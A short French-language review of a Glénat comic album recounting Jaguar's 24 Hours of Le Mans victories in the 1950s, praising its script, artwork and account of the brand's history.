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    Jaguar, du luxe et du sport

    24 heures du Mans, 1951-1957 : le triomphe de Jaguar, Denis Bernard (scénario), Christian Papazoglakis (dessin). Editions Glénat, coll. Plein gaz, 48 pages, 13,90 €.

    Détenu par le constructeur indien Tata Motors, la marque anglaise Jaguar, qui fêtera son centenaire en 2022, représente une certaine idée du prestige et du luxe automobile, dont les plus beaux triomphes en compétition datent des années 50, aux 24 heures du Mans, quand l’épreuve française était une référence internationale absolue.

    Cette période où les constructeurs rivalisaient d’ingéniosité avec en corollaire un solide sens du système D, et où les pilotes faisaient preuve d’une incroyable bravoure en piste, est parfaitement racontée en bande dessinée dans ce nouveau tome, ainsi consacré à Jaguar (après des récits sur l’épopée Ford, celle de Matra ou la décennie fabuleuse des années 60), dans cette très belle et très riche collection des éditions Glénat, « Plein Gaz ».

    Mais au-delà, c’est l’histoire de la marque qui est relatée grâce au scénario habile, fort de nombreux flashbacks, de Denis Bernard, et aux dessins toujours saisissants, dès lors qu’il s’agit de compétition automobile, de Christian Papazoglakis, passé par l’école Michel Vaillant.

    Un récit qui rappelle notamment le choix aussi judicieux qu’impérieux des dirigeants britanniques d’abandonner au sortir de la guerre le nom de la marque, Standard Swallow, réduit à « SS »,  au profit de Jaguar. Le fauve pouvait alors courir et rugir avec succès.

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